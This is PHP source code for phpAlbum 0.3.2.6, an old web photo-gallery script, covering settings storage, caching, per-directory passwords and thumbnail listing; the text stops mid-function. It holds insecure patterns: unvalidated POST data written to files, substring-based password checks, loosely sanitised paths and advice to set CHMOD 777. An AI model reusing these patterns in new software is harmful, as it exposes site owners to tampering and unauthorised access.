<?
/****************************************/
/* (c) 2006 Patrik Jakab                */
/*    phpAlbum.net                      */
/*Licence info:                         */
/*GNU/GPL version2 			*/    
/*See LICENSE fle 			*/
/****************************************/

/****************************************/
/*      Constants                       */
/****************************************/
/*
  these are only default values, need not to be changed here because of
  possibility to change it in setup
*/

$album_dir="photos/";
$cache_dir="cache/";
$themes_dir="themes/";
$thumb_size=160;
$thumb_quality=60;

$setup_password="";
$quality_settings = Array(); 

$logs_enabled="false";
$logs_filename="log.txt";
$logs_exclude="";
$site_name="phpAlbum.net";
$logo_enabled="false";
$logo_path="logo.png";
$site_name="phpAlbum.net";
$site_theme="Flowing_Dark";
$return_home_url="www.phpalbum.net";
$new_dir_indic=48;
$theme_params= Array();
// 0.2.4
$album_name="Photoalbum : ";
$album_dir_name="photos";
$phpalbum_version="0.3.2.6";
$next_text="next";
$previous_text="previous";
$cookie_password_hours=0;
$setup_text="setup";
$disable_bottom_nextprev="false";
$character_set="UTF-8";
$cache_thumbnails="true";
$cache_resized_photos="true";
$site_engine="phptemplate";
// 0.3.0
$directory_style="flowing"; // flowing/raster
$maximum_photos_per_page=100;
$raster_dir_x=5;
$raster_dir_y=3;
$next_page_text="next page";
$previous_page_text="previous page";
//ftp-settings
$ftp_server="";
$ftp_server_photos_dir="";
/*if this is seted up, it will be possible to upload the photos via web, create directories, delete them and so on.*/

// 0.3.1
$comments_enabled=false;
$show_filenames=false;
// 0.3.1.4
$default_sorting="name_asc";
$act_dir_sorting="default";

/*   header buffering   */
$sent_header=Array();

if(function_exists("ftp_login")){
	$ftp_support=true;
}else{
	$ftp_support=false;
}

if(function_exists("mb_get_info")){
	$mbstring=true;
	$_mb_info=mb_get_info('all');
	if(isset($_mb_info['internal_encoding'])){
		$int_encoding=$_mb_info['internal_encoding'];
	}else{
		$int_encoding='ISO-8859-1';//default
	}
}else{
	$mbstring=false;
}
function conv_out($string){
	global $character_set,$mbstring;
	if($mbstring){
	   return mb_convert_encoding($string,$character_set);
	}else{
		return $string;
	}
}
function conv_in($string){
	global $character_set,$int_encoding,$mbstring;
	if($mbstring){
		return mb_convert_encoding($string,$int_encoding,$character_set);
	}else{
		return $string;
	}
}
function conv_out_header ($string){
	global $character_set,$mbstring;
	if($mbstring){
		return mb_encode_mimeheader($string,$character_set);
	}else{
		return $string;
	}
}
function send_header($text){
	global $sent_header;
	header($text);
	$sent_header[]=$text; /*store for later use*/
}
function store_header($file_name){
	global $sent_header;
	if(is_array($sent_header)){
		$f=fopen($file_name,"w");
		foreach($sent_header as $header){
				fwrite($f,$header."\n");
		}
		fclose($f);
	}
}
function resend_header($file_name){
	$file=file($file_name);
	foreach($file as $line){
		header(substr($line,0,strlen($line)-1));
	}
}
function sent_header(){
	global $sent_header;
	if(sizeof($sent_header)>0){
		return true;
	}else{
		return false;
	}
}
/*assertion*/


/****************************************/
/*      Functions                       */
/****************************************/

function imagecreatefrom($file){
if(strtoupper(substr($file,-3,3))=="JPG" || strtoupper(substr($file,-4,4))=="JPEG"){		
	$image=imagecreatefromjpeg($file);
}
if(strtoupper(substr($file,-3,3))=="PNG"){		
	$image=imagecreatefrompng($file);
}
if(strtoupper(substr($file,-3,3))=="GIF"){		
	$image=imagecreatefromgif($file);
}
return $image;
}

function image_same_type($file,$image,$quality = 100){
if(strtoupper(substr($file,-3,3))=="JPG" || strtoupper(substr($file,-4,4))=="JPEG"){		
	imagejpeg($image,null,$quality);
}
if(strtoupper(substr($file,-3,3))=="PNG"){		
	imagepng($image);
}
if(strtoupper(substr($file,-3,3))=="GIF"){		
	imagegif($image);
}
}

if ( file_exists("config.php")){
    include("config.php");	
}else{
    //generate_header();
    error_reporting(0);
    echo "<html><body>";
    echo "<table width=\"100%\"><tr><td align=\"center\"><table  ><tr  valign=\"top\"><td bgcolor=\"#FFDDDD\" width=700 align=left>";
    echo "<b> Welcome to phpAlbum_$phpalbum_version</b><br>";
    echo " You have to edit config_change_it.php and rename it to config.php.<br>";
    echo " You have to define data directory, because of security issues it is recommended that this is not data/ but";
    echo " something like \"data_Ab6Lkj88KJ/\"";
    echo "<td></tr></table></td></tr></table>";
    generate_footer();
    error_reporting(E_ERROR | E_WARNING | E_PARSE);
    return;
}

if ( !check_writable($data_dir)){
    //generate_header();
    error_reporting(0);
    echo "<html><body>";
    echo "<table width=\"100%\"><tr><td align=\"center\"><table  ><tr  valign=\"top\"><td bgcolor=\"#FFDDDD\" width=700 align=left>";
    echo "<b> Welcome to phpAlbum_$phpalbum_version</b><br>";
    echo "Your data directory $data_dir is eather not existing or not writable <br>";
    echo "Please check for existing of this directory and setup the access rights with CHMOD 777";
    echo "<td></tr></table></td></tr></table>";
    generate_footer();
    error_reporting(E_ERROR | E_WARNING | E_PARSE);
    return;
}

function check_gd(){
 if(function_exists("gd_info")){
 	$info=gd_info();
	if(strstr($info['GD Version'],"2.")){
		
  		return true;
	}else{
	         return false;
	}
 }
 return false;
}

function string2store($string){
$str=str_replace("\n","<line:break>",$string);
$str=str_replace("\r","",$str);
return $str;
}
function store2string($string){
$str=str_replace("<line:break>","\n",$string);
return $str;
}
function pa_html_encode($string){
	return str_replace( array ( '&', '"', "'", '<', '>'), array ( '&amp;' , '&quot;', '&#39;' , '&lt;' , '&gt;' ),$string);
}
function pa_html_decode($string){
	return str_replace( array ( '&amp;' , '&quot;', '&#39;' , '&lt;' , '&gt;' ),array ( '&', '"', "'", '<', '>'),$string);
}
function put_default_quality_settings(){
global $data_dir;
 	/*create default quality settings*/
	/*thmb_size:thmb_quality:image_size(0=original):image_quality:description*/
	$settings="160|70|0|0|original|1|0\n140|70|700|85|middle|1|1\n100|70|500|85|small|1|0\n";
	$file=fopen($data_dir."quality.dat","w");
	fwrite($file,$settings);
	fclose($file);
	chmod($data_dir."quality.dat",0640); /*to be not possible read it by others*/
}

function save_quality_settings(){
	global $data_dir;
	$file=fopen($data_dir."quality.dat","w");
	$i=1;
	while($i<4){
	   if(isset($_POST['p_q_enabled'.$i])){
	   	$enabled=1;
	   }else{
	   	$enabled=0;
	   }
	   if($_POST['p_q_default']==$i){
	        $default=1;
	   }else{
	        $default=0;
	   }
	   if($default==1){$enabled=1;}
	   fwrite($file,$_POST['p_q_thmbs'.$i]."|".$_POST['p_q_thmbq'.$i]."|".$_POST['p_q_pics'.$i]."|".$_POST['p_q_picq'.$i]."|".$_POST['p_q_desc'.$i]."|".$enabled."|".$default."\n");
	   $i=$i+1;
	}
	fclose($file);
}
/****************************************/
/*      SETTINGS                 */
/****************************************/

function read_settings(){
 global $setup_password,$album_dir,$data_dir,$cache_dir,$site_name,$logo_path,$logo_enabled,$site_theme,$return_home_url,$new_dir_indic;
 global $quality_settings;
 global $cmd,$var1,$var2;
 global $logs_enabled,$logs_filename,$logs_exclude,$album_name,$album_dir_name,$cookie_password_hours,$setup_text,$next_text,$previous_text,$disable_bottom_nextprev;
 global $character_set;
 global $cache_thumbnails,$cache_resized_photos;
 global $directory_style,$maximum_photos_per_page,$raster_dir_x,$raster_dir_y,$next_page_text,$previous_page_text,$ftp_server,$ftp_server_photos_dir;
 global $comments_enabled;
 global $show_filenames;
 global $default_sorting;
 /***********************/
 /*read main_setup      */
 /***********************/
 if(!file_exists($data_dir."quality.dat")){
   put_default_quality_settings();
 }
 $file=file($data_dir."quality.dat");
 foreach($file as $line_num=>$line){
 	$quality_settings[$line_num]=explode("|",$line);
 }
//  var_dump($quality_settings);echo '<br>';
 
 if(!file_exists($data_dir."main_setup.dat")){
 	 $cmd="setup";
	 $var1="main";
	return;
 }
 
 $file=file($data_dir."main_setup.dat");
 $setup_password=substr($file[0],0,strlen($file[0])-1);
 $album_dir=substr($file[1],0,strlen($file[1])-1);
 $cache_dir=substr($file[2],0,strlen($file[2])-1);
 $site_name=substr($file[3],0,strlen($file[3])-1);	
 $logo_enabled=substr($file[4],0,strlen($file[4])-1);
 $logo_path=substr($file[5],0,strlen($file[5])-1);
 $site_theme=substr($file[6],0,strlen($file[6])-1);
 $return_home_url=substr($file[7],0,strlen($file[7])-1);
 $new_dir_indic=substr($file[8],0,strlen($file[8])-1); 
 if(isset($file[9])){
 //version 0.2.4 already stored.
   $album_name=substr($file[9],0,strlen($file[9])-1);
   $album_dir_name=substr($file[10],0,strlen($file[10])-1);
   $cookie_password_hours=substr($file[11],0,strlen($file[11])-1);
   $setup_text=substr($file[12],0,strlen($file[12])-1);
   $next_text=substr($file[13],0,strlen($file[13])-1);
   $previous_text=substr($file[14],0,strlen($file[14])-1);
   $disable_bottom_nextprev=substr($file[15],0,strlen($file[15])-1);
   $character_set=substr($file[16],0,strlen($file[16])-1);
 }
 if(isset($file[17])){
 //version 0.3.0 already stored
 $directory_style=substr($file[17],0,strlen($file[17])-1);
 $maximum_photos_per_page=substr($file[18],0,strlen($file[18])-1);
 $raster_dir_x=substr($file[19],0,strlen($file[19])-1);
 $raster_dir_y=substr($file[20],0,strlen($file[20])-1);
 $next_page_text=substr($file[21],0,strlen($file[21])-1);
 $previous_page_text=substr($file[22],0,strlen($file[22])-1);
 //ftp-settings
 $ftp_server=substr($file[23],0,strlen($file[23])-1);
 $ftp_server_photos_dir=substr($file[24],0,strlen($file[24])-1);
 }
 if(isset($file[25])){
 	$show_filenames=(substr($file[25],0,strlen($file[25])-1)=="true")? true:false;
 }
 if(isset($file[26])){
	 $default_sorting=substr($file[26],0,strlen($file[26])-1);
 }
 /***********************/
 /*read quality settings*/
 /***********************/


/***********************/
 /*read comments settings */
 /***********************/
 if(file_exists($data_dir."comments_setup.dat")){
	 $file=file($data_dir."comments_setup.dat");
	 $comments_settings=explode("|",$file[0]);
	 $comments_enabled=($comments_settings[0]=="true")? true:false;
	 
 }
 
 /***********************/
 /*read logs    settings*/
 /***********************/
 if(file_exists($data_dir."logs_setup.dat")){
	 $file=file($data_dir."logs_setup.dat");
	 $logs_settings=explode("|",$file[0]);
	 $logs_enabled=$logs_settings[0];
	 $logs_filename=$logs_settings[1];
	 $logs_exclude=$logs_settings[2];
 }
 /***********************/
 /*  read theme settings*/
 /***********************/
 global $theme_params;
 if(file_exists($data_dir.$site_theme.".dat")){
	 $file=file($data_dir.$site_theme.".dat");
	 $theme_settings=explode("|",$file[0]);
	 $num=0;
	 while (isset($theme_settings[$num])){
	 	$theme_params[$num]= $theme_settings[$num];
	 	$num=$num+1;
	 }
 }
 
 if(file_exists($data_dir."cache_setup.dat")){
	 $file=file($data_dir."cache_setup.dat");
	 $logs_settings=explode("|",$file[0]);
	 $cache_thumbnails=$logs_settings[0];
	 $cache_resized_photos=$logs_settings[1];
 }

}
function print_error($error){
   echo "<table border=\"2\" bgcolor=\"#DD0000\"><tr><td><font color=\"#FFFFFF\"><b>$error</b></font></td></tr></table>";
}
function print_warning($error){
   echo "<table border=\"2\" bgcolor=\"#EECC00\"><tr><td><font color=\"#000000\"><b>WARNING:$error</b></font></td></tr></table>";
}
function is_setup_user(){
	  global $passwd;
		$passwd_req=get_password_for_cmd("setup","");
		if($passwd_req!="" && !strstr($passwd,$passwd_req) ){
				return false;
		}else{
			  return true;
		}
}
function get_password_for_cmd($cmd,$var1){
global $setup_password,$demo_functionality;
global $album_dir,$passwd;	
	if (!strcmp($cmd,"setup")){
	    return $setup_password;
	}
	if (!strcmp($cmd,"delcache")){
	    return $setup_password;
	}
	if (!strcmp($cmd,"phpinfo")){
	    return $setup_password;
	}
	if( !strcmp($cmd,"album") || !strcmp($cmd,"image") || !strcmp($cmd,"imageview") || !strcmp($cmd,"thmb")){
		$dirs=explode("/",$var1);
		$dir="";
		$sett=get_directory_settings($dir,0);
		if(strlen($sett[0][1])>0 && !strstr($passwd,$sett[0][1])){
			return $sett[0][1];
		}
		foreach($dirs as $num => $file){
			$dir=$dir."/".$file;
			$sett=get_directory_settings($dir,0);
//			echo $dir." ".$sett[0][1]."<br>";
			if(strlen($sett[0][1])>0 && !strstr($passwd,$sett[0][1])){
				return $sett[0][1];
			}
		}
	}
	return "";
	
}
function generate_password_page($cmd,$var1="",$var2=""){
	$content="<table width=\"100%\" height=\"100%\"><tr align=center><td class=\"txt\" valign=center>";
	if (strlen($var2)>0){
		$content.= t("ID_ENTER_PASSWD")."<form name=\"pass\" action=\"main.php?cmd=".$cmd."&var1=".urlencode($var1)."&var2=".urlencode($var2)."\" method=\"post\"><input width=\"15\" name=\"p\" type=\"password\"/></from>";
	}else{
		$content.= t("ID_ENTER_PASSWD")."<form name=\"pass\" action=\"main.php?cmd=".$cmd."&var1=".urlencode($var1)."\" method=\"post\"><input width=\"15\" name=\"p\" type=\"password\"/></from>";
	}
	  $content.= "</td></tr></table>";
	  $content.= "_";
	  theme_generate_setup_page($content);
}
function get_dir_size($dir){
 $list = dir($dir);

 $size=0;
 while ($filename = $list->read()){
  if ($filename == '.' || $filename == '..')
   continue;
   $size=$size+filesize($dir.$filename);
 }
 return $size;
 
}
function is_cachable($text,$var1){
global $cache_thumbnails,$cache_resized_photos;
		if ($text == "logo" || $text == "dir_logo") return true;
		if ($text == "theme") return false;
		if ($text == "image") {
		  if($cache_resized_photos=="true"){
		  return true;}else{
		  return false;}
		}
		if ($text == "setup") return false;
		if ($text == "delcache") return false;
		if ($text == "setquality") return false;
		if ($text == "album") return false;
		if ($text == "imageview") return false;
					if ( strlen($text)==0) return false;
		if ($text == "thmb"){
		  if($cache_thumbnails=="true"){
		  return true;}else{
		  return false;}

		}
		return false;
}

function is_movie($var1){
	$t=strtoupper(substr($var1,-3,3));
	$t2=strtoupper(substr($var1,-4,4));
	if($t=="AVI" ||$t=="MPG" ||$t2=="MPEG" ||$t=="MOV" ||$t=="WMV" ||$t=="VOB") return true;
	return false;
}
function is_audio($var1){
	$t=strtoupper(substr($var1,-3,3));
	if($t=="MP3" ||$t=="WMA" ||$t=="WAV") return true;
	return false;
}
function is_image($var1){
	$t=strtoupper(substr($var1,-3,3));
	$t2=strtoupper(substr($var1,-4,4));
	if($t=="GIF" ||$t=="PNG" ||$t=="JPG" ||$t2=="JPEG") return true;
	return false;
}
function is_cached($cache_dir,$cmd,$var1,$var2,$var3,$quality){
	//return false;
	$fn=get_cache_file_name($cache_dir,$cmd,$var1,$var2,$var3,$quality);
	return file_exists($fn);
}

function load_from_cache($cache_dir,$cmd,$var1,$var2,$var3,$quality){
	$fn=get_cache_file_name($cache_dir,$cmd,$var1,$var2,$var3,$quality);
	
	/*$file=fopen($fn,"rb");
	$doc=fread($file,filesize($fn));
	fclose($file);
	echo $doc;*/
	if($cmd == "thmb" || $cmd == "logo" || $cmd == "dir_logo" || $cmd == "image" ){
		//$headers=getallheaders();-- not supported by others then apache
		if (isset( $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) ){
			if ( date("D, d M Y H:i:s T",filemtime($fn)) == $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) {
				header('HTTP/1.0 304 Not Modified');
				exit; 
			}
		}
	}
	if(file_exists($fn.".hdr")){
		resend_header($fn.".hdr");
	}
	readfile($fn);
	
}

function get_cache_file_name($cache_dir,$cmd,$var1,$var2,$var3,$quality){
$filename=$cache_dir . "cache_";
$filename.=$cmd;
$filename.="_".str_replace(" ","_",str_replace("/","_",$var1));
$filename.="_".str_replace(" ","_",str_replace("/","_",$var2));
$filename.="_".str_replace(" ","_",str_replace("/","_",$var3));
$filename.="_".$quality;
$filename.=".cache";
return $filename;
}
function get_data_file_name($var1){
	global $data_dir;
	$filename.=$data_dir."_".str_replace(" ","_",str_replace("/","_",$var1));
	return $filename;
}

function cache_document($cache_dir,$cmd,$var1,$var2,$var3,$quality){
$doc=ob_get_contents();
//echo ob_get_length();
$filename=get_cache_file_name($cache_dir,$cmd,$var1,$var2,$var3,$quality);
//echo $filename;
$file=fopen($filename,"wb");
fwrite($file,$doc);
fclose($file);

$m_time= filemtime($filename);
send_header("Last-Modified: ".date("D, d M Y H:i:s T",$m_time) );

if(sent_header()){
	/*cache header*/
	store_header($filename.".hdr");
}

}


function generate_header()
{
global $logo_path,$logo_enabled,$site_name,$site_theme,$theme_params,$phpalbum_version,$character_set;
send_header("Content-type: text/html; charset=$character_set");
echo "<html><!--phpalbum $phpalbum_version -->\n<head><title>$site_name</title><LINK REL=\"stylesheet\" HREF=\"main.php?cmd=theme&var1=style_css\" TYPE=\"text/css\"></head>";
echo "<body>";
//if ( file_exists($logo_path) && $logo_enabled=="true") {
//echo "<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"4\" align=\"center\"><a href=\"main.php?cmd=album\"><img src=\"$logo_path\" border=\"0\"></a></td></tr></table>";
// }else{
// 	theme_put_logo();
//}
}


function get_file_for_screenshot($scr,$dw){
  $scr_base=substr($scr,0,strlen($scr)-4);
	foreach($dw as $file){
		if(!is_image($file)){
	  	if($scr_base==$file	|| $scr_base."."== substr($file,0,strlen($scr_base."."))){
	  		 return $file;
	  	}
	  }
	}
	return "";
}
function get_screanshot_for_file($file,$fl){
	foreach($fl as $scr){
		if( is_image($scr)){
			$scr_base=substr($scr,0,strlen($scr)-4);
			if($scr_base==$file || $scr_base."." == substr($file,0,strlen($scr_base."."))){
				return $scr;
			}
		}
	}
	return "";
}

function  generate_album($album_dir,$var1,$thumb_size,$thumb_quality,$quality,$passwd,$start_with=0){
  global $quality_settings,$site_theme,$theme_params,$new_dir_indic,$return_home_url,$album_name,$album_dir_name,$setup_text;
  global $directory_style,$maximum_photos_per_page,$raster_dir_x,$raster_dir_y;
  global $show_filenames;
  global $act_dir_sorting;
  if ($directory_style=="flowing"){
      $number_of_thmbs=$maximum_photos_per_page;
  }else{
      $number_of_thmbs=$raster_dir_x*$raster_dir_y;
  }  
  if($number_of_thmbs==0 || $number_of_thmbs<0){
  	$number_of_thmbs=1000000;/*i hope nobody will make more then million photos in one dir, of yes, i'm sorry :)*/
  }
  
	/*bugfixing for opera, but shuould by done some other way*/
  	$is_opera=strstr(strtoupper($_SERVER['HTTP_USER_AGENT']),"OPERA");
	if($is_opera){
		$inline_style="display: inline-table;";
	}else{
		$inline_style="display: inline;";
	}
	
       $dir_settings=get_directory_settings("/".$var1);
       if(isset($dir_settings[0][5])){
       	$act_dir_sorting=$dir_settings[0][5];
       }

	$dir_path[0]['name']=t('ID_PHOTO_DIR');
	$dir_path[0]['link']="main.php?cmd=album&var2=".$quality;

	$dirs=explode('/',$var1);
	$act_dir="";
	for($i=0;$i<count($dirs)-1;$i++){
		$act_dir.=$dirs[$i]."/";
		$ss=get_directory_settings($act_dir,0);
		if(strlen($ss[0][4])>0){
			$dir_path[$i+1]['name']=pa_html_decode($ss[0][4]);
		}else{
			$dir_path[$i+1]['name']=conv_out($dirs[$i]);
		}
		$dir_path[$i+1]['link']="main.php?cmd=album&var1=".urlencode($act_dir)."&var2=".$quality;
		
	}
	$count=$quality_settings[0][5]+$quality_settings[1][5]+$quality_settings[2][5];
	
	$quality_links=Array();
	
	if($count>1){
		$i=0;
		$first=1;
		while($i<3){
			if($quality_settings[$i][5]==1){
				$quality_links[$i]['name']=$quality_settings[$i][4];
				$quality_links[$i]['link']="main.php?cmd=setquality&var1=$i&var2=".urlencode($var1);
				if($quality==$i){
					$quality_links[$i]['actual']=1;
				}else{
					$quality_links[$i]['actual']=0;
				}
			}
			$i=$i+1;
		}
		
	}

	$dir=$album_dir . $var1;
	/*directory description*/
	
	$dir_long_desc=store2string(pa_html_decode($dir_settings[0][3]));

	/*openning directories*/
	if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
           if( filetype($dir . $file)=="dir" ) {
			if($file !="."  && $file !=".."){
				$sett_all=get_directory_settings($var1.$file,0);
				$sett=$sett_all[0];
				if($sett[6]=="true"){ //visible
					if(strlen($sett[4])>0){
							$name=$sett[4];
					}else{
						   $name=$file;
					}
				
					$file_array=Array("filename"=>$file,"time"=>filectime($dir . $file),"name"=>$name,"desc"=>$sett[2]);
					$filelist[]=$file_array;	   
				}
			}
	   }
			
       }
       closedir($dh);
      $directories=Array();
      $directories_cnt=0;
      if(sizeof($filelist)>0){
       usort($filelist,"file_array_cmp");
       while ( list($key,$file_array)=each($filelist)){
		/*visibility*/
		        $file=$file_array['filename'];
				$blocked=false;
				if(strlen(get_password_for_cmd("album",$var1.$file))>0){
					if(!strstr($passwd,get_password_for_cmd("album",$var1.$file))){ $blocked=true;};
				}
				if($blocked){
					$dir_pic="main.php?cmd=dir_logo&var1=NOTSUP&var2=DIR_PASSWD&var3=".theme_get_id();
					$directories[$directories_cnt]['stat']='PASSWD';
				}else{
					/*test if there is some new images*/
					$diff = (time() - filemtime($dir.$file))/60/60;
					if ($diff < $new_dir_indic ){
						$dir_pic="main.php?cmd=dir_logo&var1=NOTSUP&var2=DIR_NEW&var3=".theme_get_id();
						$directories[$directories_cnt]['stat']='NEW';
					}else{
						$dir_pic="main.php?cmd=dir_logo&var1=NOTSUP&var2=DIR&var3=".theme_get_id();
						$directories[$directories_cnt]['stat']='NORM';
					}
				}
				/*defining variable*/
				$directories[$directories_cnt]['link']="main.php?cmd=album&var1=".urlencode($var1.$file)."/&var2=".$quality;
				$directories[$directories_cnt]['logo']=$dir_pic;
				if($file_array['name']==$file_array['filename']){
					/*it is filename and should be converted*/
					$directories[$directories_cnt]['name']=conv_out($file_array['filename']);
				}else{
					$directories[$directories_cnt]['name']=pa_html_decode($file_array['name']);
				}
				$directories[$directories_cnt]['desc']=pa_html_decode($file_array['desc']);
						
				
				$directories_cnt++;
		
      }
     }
   }
}   
	   /*openning files*/
	$done_files[]="<phpAlbum.net-just the best program of thw world>";
	if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
           if( filetype($dir . $file)=="file" || filetype($dir . $file)=="link" ) {
           			   $i=1;
           			   $img_desc=""; 
				       while(isset($dir_settings[$i][0])){
		    		   	if($dir_settings[$i][0]==$file){
							$img_desc=$dir_settings[$i][1];
							break;
						}
						$i=$i+1;
		       		   }
		       		   if(strlen($img_desc)==0){
		       		   	$img_desc=$file;
		       		   }
       				   $file_array=Array("filename"=>$file,"time"=>filectime($dir . $file),"name"=>$img_desc);
					   $filelist2[]=$file_array;
					   $file_scr[]=$file;
			  
		       }
			
       }
       closedir($dh);
       if(sizeof($filelist2)>0){
       usort($filelist2,"file_array_cmp");
       $qq=$quality_settings[$quality][0]."_".$quality_settings[$quality][1];
       
       $thumbnails=Array();
       $thumbnails_cnt=0;
       $cnt=0;
       if($start_with>(sizeof($filelist2)-1)|| $start_with<0){
       		$start_with=0; /*just to be sure*/
       }
       
       while ( list($key,$file_array)=each($filelist2)){
       			$file=$file_array['filename'];
       			$file_ok=false;
            if($cnt>=$start_with and $cnt<$start_with+$number_of_thmbs){
		if(is_image($file)){
     			 $file_ok=true;
		       $i=1;
		       $img_desc=""; 
		       while(isset($dir_settings[$i][0])){
		       	if($dir_settings[$i][0]==$file){
				$img_desc=$dir_settings[$i][1];
				break;
				}
				$i=$i+1;
		       }
		       
		       $style="me3";
/*		       if(strlen($img_desc)==0){
		       	$img_desc="&nbsp;";
			$style="me4";
		       }*/
		    $scr=get_file_for_screenshot($file,$file_scr);
		    if($scr!=""){
		    	 $done_files[]=$scr;
		       $thumbnails[$thumbnails_cnt]['thmb']="main.php?cmd=thmb&var1=". urlencode($var1.$file)."&var2=".$qq;
		       $thumbnails[$thumbnails_cnt]['desc']=pa_html_decode($img_desc);
		       if($show_filenames && $thumbnails[$thumbnails_cnt]['desc']==""){
		       	$thumbnails[$thumbnails_cnt]['desc']=conv_out($scr);
		       }
	         $thumbnails[$thumbnails_cnt]['link']="main.php?cmd=image&var1=".urlencode($var1.$scr)."&var2=".$quality;
		    }else{
		       $thumbnails[$thumbnails_cnt]['thmb']="main.php?cmd=thmb&var1=". urlencode($var1.$file)."&var2=".$qq;
		       $thumbnails[$thumbnails_cnt]['desc']=pa_html_decode($img_desc);
		       if($show_filenames && $thumbnails[$thumbnails_cnt]['desc']==""){
		       	$thumbnails[$thumbnails_cnt]['desc']=conv_out($file);
		       }
	         $thumbnails[$thumbnails_cnt]['link']="main.php?cmd=imageview&var1=".urlencode($var1.$file)."&var2=".$quality;
		    }
		}
		if(is_movie($file) && !array_search($file,$done_files)){
     			 $file_ok=true;
					 $scr=get_screanshot_for_file($file,$file_scr);
					 if($scr!=""){
					 	 $file_ok=false;
					   /*$thumbnails[$thumbnails_cnt]['thmb']="main.php?cmd=thmb&var1=".urlencode($var1.$scr)."&var2=".$qq."&var3=".theme_get_id();
   	    	     $thumbnails[$thumbnails_cnt]['link']="main.php?cmd=image&var1=".urlencode($var1.$file)."&var2=".$quality;
		  	       $thumbnails[$thumbnails_cnt]['desc']=$file;
		  	     */
					 }else{
			       $thumbnails[$thumbnails_cnt]['thmb']="main.php?cmd=thmb&var1=[movie]&var2=".$qq."&var3=".theme_get_id();
  	 	       $thumbnails[$thumbnails_cnt]['link']="main.php?cmd=image&var1=".urlencode($var1.$file)."&var2=".$quality;
			       $thumbnails[$thumbnails_cnt]['desc']=conv_out($file);
					 }
		}
		if(is_audio($file) && !array_search($file,$done_files)){
     			 $file_ok=true;
					 $scr=get_screanshot_for_file($file,$file_scr);
					 if($scr!=""){
					 	 $file_ok=false;
					 	 /*
			       $thumbnails[$thumbnails_cnt]['thmb']="main.php?cmd=thmb&var1=".urlencode($var1.$scr)."&var2=".$qq."&var3=".theme_get_id();
     	       $thumbnails[$thumbnails_cnt]['link']="main.php?cmd=image&var1=".urlencode($var1.$file)."&var2=".$quality;
			       $thumbnails[$thumbnails_cnt]['desc']=$file;
			       */
			     }else{
			       $thumbnails[$thumbnails_cnt]['thmb']="main.php?cmd=thmb&var1=[audio]&var2=".$qq."&var3=".theme_get_id();
     	       $thumbnails[$thumbnails_cnt]['link']="main.php?cmd=image&var1=".urlencode($var1.$file)."&var2=".$quality;
			       $thumbnails[$thumbnails_cnt]['desc']=conv_out($file);
			     }
		}
		if($file_ok){				
	       $thumbnails[$thumbnails_cnt]['width']=$thumb_size+12+30;
	       $thumbnails[$thumbnails_cnt]['height']=$thumb_size+12+30;
	       $thumbnails_cnt++;
	  }

		
	}
	 $cnt++;
	}	
     }
   }
   }
   	if ( sizeof($filelist2)<=$start_with+$number_of_thmbs){
		//no next page
		$next_start_with=-1;
	}else{
		$next_start_with=$start_with+$number_of_thmbs;
	}
	
   	if ( $start_with==0){
		//no next page
		$previous_start_with=-1;
	}else{
	     $previous_start_with=$start_with-$number_of_thmbs;
	     if($previous_start_with<0){$previous_start_with=0;}
	}
	/*call theme function to generate page*/
	
	theme_generate_album_page($dir_path,$quality_links,$directories,$thumbnails,$inline_style,$dir_long_desc,$next_start_with,$previous_start_with,$var1,$quality);
	   
	return true;
}

function file_array_cmp($a,$b){
	global $default_sorting,$act_dir_sorting;
	if($act_dir_sorting=="default"){
		$sorting=$default_sorting;
	}else{
		$sorting=$act_dir_sorting;
	}
	switch($sorting){
		case "date_asc":
			if ($a['time'] == $b['time']) {
       			return 0;
   			}
   			return ($a['time'] < $b['time']) ? -1 : 1;
   			break;
		case "date_desc":
			if ($a['time'] == $b['time']) {
       			return 0;
   			}
   			return ($a['time'] < $b['time']) ? 1 : -1;
   			break;
		case "filename_asc":
			if ($a['filename'] == $b['filename']) {
       			return 0;
   			}
   			return ($a['filename'] < $b['filename']) ? -1 : 1;
   			break;
		case "filename_desc":
			if ($a['filename'] == $b['filename']) {
       			return 0;
   			}
   			return ($a['filename'] < $b['filename']) ? 1 : -1;
   			break;
		case "name_asc":
			if ($a['name'] == $b['name']) {
       			return 0;
   			}
   			return ($a['name'] < $b['name']) ? -1 : 1;
   			break;
		case "name_desc":
			if ($a['name'] == $b['name']) {
       			return 0;
   			}
   			return ($a['name'] < $b['name']) ? 1 : -1;
   			break;
		default: return 0;
	}
}

function get_directory_settings($dir,$full = 1){
global $data_dir,$album_dir;

if ($dir=="\\") $dir="";

if(substr($dir,0,1)!="/"){
 $dir="/".$dir;
}
if(substr($dir,-1,1)!="/"){
 $dir=$dir."/";
}
$file_name=stripslashes($data_dir.str_replace(" ","_",str_replace("/","_",$dir)).".dat");
$settings[0]=$dir;
if(file_exists($file_name)){
	$file=file($file_name);
	if(strlen($file)>0){
		$params=explode("|",substr($file[0],0,strlen($file[0])-1));
		$settings[1]=$params[0];
		$settings[2]=$params[1];
		$settings[3]=$params[2];
		if(strlen($params[5])>0){
			/*new settings for 0.3.1.4*/
			$settings[4]=$params[3]; /*alias*/
			$settings[5]=$params[4]; /*sorting*/
			$settings[6]=$params[5]; /*visibility*/
		}else{
			$settings[4]=""; /*alias*/
			$settings[5]="default"; /*sorting*/
			$settings[6]="true"; /*visibility*/
		}
	}else{
		$settings[1]="";
		$settings[2]="";
		$settings[3]="";
		$settings[4]=""; /*alias*/
		$settings[5]="default"; /*sorting*/
		$settings[6]="true"; /*visibility*/
	}
}else{
	$settings[1]="";
	$settings[2]="";
	if(!isset($settings[3])){
	   $settings[3]="";
	}
	$settings[4]=""; /*alias*/
	$settings[5]="default"; /*sorting*/
	$settings[6]="true"; /*visibility*/
}
$sett[0]=$settings;
/*read settings for all photos in this direcotry ..*/
/*first read the settings in the file*/
if($full==1){
	$num=1;
	while(isset($file[$num])){
		$files[]=explode("|",substr($file[$num],0,strlen($file[$num])-1));
		$num=$num+1;
	}
	
	/*now read the directory for files and try to find something about 
	 these in settings*/
	 if(file_exists($album_dir.$dir)){
	    if ($dh = opendir($album_dir.$dir)) {
	       while (($file = readdir($dh)) !== false) {
	           if( (filetype($album_dir.$dir ."/". $file)=="file" || filetype($album_dir.$dir ."/". $file)=="link" ) && is_image($file) ){
		   		$files2[]=$file;
			}
				
	       }
	       closedir($dh);
	
	    }
	   }
	  /*consolidate files with settings*/
      if(sizeof($files2)>0){
          asort($files2);
